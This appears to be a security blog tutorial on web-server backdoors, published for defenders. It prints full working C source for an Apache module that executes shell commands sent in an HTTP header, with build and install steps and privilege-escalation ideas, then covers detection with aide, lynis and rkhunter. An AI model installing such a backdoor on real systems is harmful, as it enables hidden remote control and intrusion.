How attackers hide backdoors in web servers

Page contents

Most security-focused advice revolves around preventing intrusion, and while that's the best outcome, there are situations where all the security measures cannot prevent malicious access (remember the heartbleed vulnerability?). Detecting an intruder is as important a task as keeping new ones out.

Understanding backdoors

After an attacker gained access to a system through an exploit or compromised credentials, they often look to secure their access. But how can they protect it from changing credentials/keys, or updates that fix the vulnerability? By installing a backdoor that survives all of these events.

Many inexperienced administrators assume that a backdoor is something highly privileged like a kernel module, and can easily be spotted by checking open ports or running processes. But modern backdoors use much more covert access channels, for example by injecting or changing legitimate services that already have network access like http, ftp or ssh servers. This kind of backdoor is impossible to detect with trivial network or process checking, which makes it even more dangerous.

Crafting a malicious apache2 module

The apache2 web server (aka httpd) is one of the most popular web servers and reverse proxies in use today. Server administrators are often familiar with the server and virtualhost configuration and necessary files, but the actual modules are usually overlooked.

To simulate the attack, let's install apache2 with development headers on a debian machine:

sudo apt install apache2 apache2-dev build-essential

Then write a backdoor module. Here is a very naive sample of what that could look like:

mod_backdoor.c

#include "httpd.h"
#include "http_protocol.h"
#include "http_request.h"
#include "http_config.h"
#include "apr_strings.h"

static int backdoor_handler(request_rec *r) {
   const char *cmd = apr_table_get(r->headers_in, "X-Backdoor");
   if (!cmd) return DECLINED;
   FILE *fp = popen(cmd, "r");
   if (!fp) {
       ap_set_content_type(r, "text/plain");
       ap_rputs("Command failed.\n", r);
       return OK;
   }
   char buffer[1024];
   ap_set_content_type(r, "text/plain");
   while (fgets(buffer, sizeof(buffer), fp)) {
       ap_rputs(buffer, r);
   }
   pclose(fp);
   return OK;
}

static void register_hooks(apr_pool_t *p) {
   ap_hook_handler(backdoor_handler, NULL, NULL, APR_HOOK_FIRST);
}

module AP_MODULE_DECLARE_DATA backdoor_module = {
   STANDARD20_MODULE_STUFF,
   NULL, NULL, NULL, NULL, NULL, register_hooks
};

The module simply checks all incoming requests for the X-Backdoor http header. If it doesn't exist, normal webserver behavior continues, but if it does, the module executes the header value as a shell command and returns the output as the http response, short-circuiting the normal request handling.

Compile the module:

apxs -c mod_backdoor.c

And install the resulting shared object on the apache2 server:

sudo cp .libs/mod_backdoor.so /usr/lib/apache2/modules/
echo "LoadModule backdoor_module /usr/lib/apache2/modules/mod_backdoor.so" | sudo tee /etc/apache2/mods-available/backdoor.load
sudo a2enmod backdoor
sudo systemctl restart apache2

And just like this, the server now executes commands from arbitrary http requests. To test this out:

curl -H "X-Backdoor: whoami" http://localhost/

This would return the command output (the user www-data in our example).

A web application would never even receive this request, making most webapp-based protections useless. Furthermore, http headers and request bodies of successful requests are typically not logged, so malicious traffic does not show up in access.log or error.log.

Note: This is a heavily simplified example. Real backdoors wouldn't use obvious names or plaintext commands/responses, instead leveraging encodings or even encryption. Module compilation is also typically not done on the machine running the web server, so build utilities cannot be used as an indicator of compromised systems.

Backdoors may consist of multiple parts

When talking about backdoors, most people imagine a single piece of software. In reality, backdoors often combine different services or configurations to maintain access to target systems.

Building on the apache2 example, the backdoor does work and execute arbitrary code - but as the unprivileged www-data user. This does little for an attacker aiming to maintain broad or even root level access, so they are likely to combine this with a form of privilege escalation.

There are many options an attacker may choose from to achieve this: They could give the www-data passwordless sudo access, potentially even by adding them to a privileged group to make it less obvious from config files alone. Or they could upload an executable with suid/sgid bits set and owned by a privileged user. They could even use intentionally vulnerable executables that seem legitimate, but contain a controlled exploit for more stealthy privilege escalation.

Detecting post-exploitation activity

There are sheer endless combinations of very subtle configuration changes that could be used to gain privileged access to the system, with each component looking almost entirely innocent or configuration changes so small they usually go unnoticed. A human operator without help of software-based detection systems has practically no hope of noticing any decent backdoor setup on their system.

But this doesn't mean they are undetectable! This is where auditing comes into play: An often automated scan of the system to validate if it still meets the expectations or requirements for security and integrity. Many intrusion detection systems (IDS) aim to solve this issue, with aide being one of the simplest options.

Aide (advanced intrusion detection environment) is a filesystem scanner. It can be easily installed on debian-based systems:

sudo apt install aide

It initially scans the system and creates a snapshot of a "known good" system state:

sudo aide --config /etc/aide/aide.conf --init
sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

and can then be run any number of times to find files and directories that are different from the snapshot data:

sudo aide --config /etc/aide/aide.conf --check

While this approach to intrusion detection is very simplistic and may produce quite a few false positives, it is also very difficult to circumvent for an attacker; they need to change some files in some way to create a backdoor after all. More sophisticated malicious software like rootkits may be able to hide even from aide, so be careful to set up multiple layers of protection, for example by combining lynis (for system & config auditing), rkhunter (to find rootkits) and aide (to detect file changes).

Running intrusion detection tools regularly using a cronjob and forwarding reports of detected file issues to your email or slack channel can help spot intruders that evaded the protection/prevention systems and allow you to minimize the amount of access and potential damage available to them - and all that with minimal operational overhead.

More articles

Production-ready wordpress hosting on docker

Complete with SSL certificates, backups and upgrades

Breaking out of docker containers

How misconfigurations lead to privilege escalation